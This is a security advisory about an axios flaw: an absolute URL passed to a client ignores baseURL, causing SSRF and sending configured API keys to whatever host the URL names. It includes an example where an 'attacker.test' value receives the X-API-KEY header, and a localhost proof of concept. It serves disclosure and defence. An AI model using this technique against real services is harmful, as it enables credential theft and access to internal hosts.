axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL
Summary
A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463
A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.
Details
Consider the following code snippet:
```js
import axios from "axios";
const internalAPIClient = axios.create({
baseURL: "http://example.test/api/v1/users/",
headers: {
"X-API-KEY": "1234567890",
},
});
// const userId = "123";
const userId = "http://attacker.test/";
await internalAPIClient.get(userId); // SSRF
```
In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.
It is recommended that:
- When
baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL. - Before sending the HTTP request (after combining the
baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.
PoC
Follow the steps below to reproduce the issue:
1. Set up two simple HTTP servers:
```
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
```
2. Create a script (e.g., main.js):
```js
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
```
3. Run the script:
```
$ node main.js
this is server2
```
Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.
Impact
- Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
- SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
- Affected Users: Software that uses
baseURL and does not validate path parameters is affected by this issue.
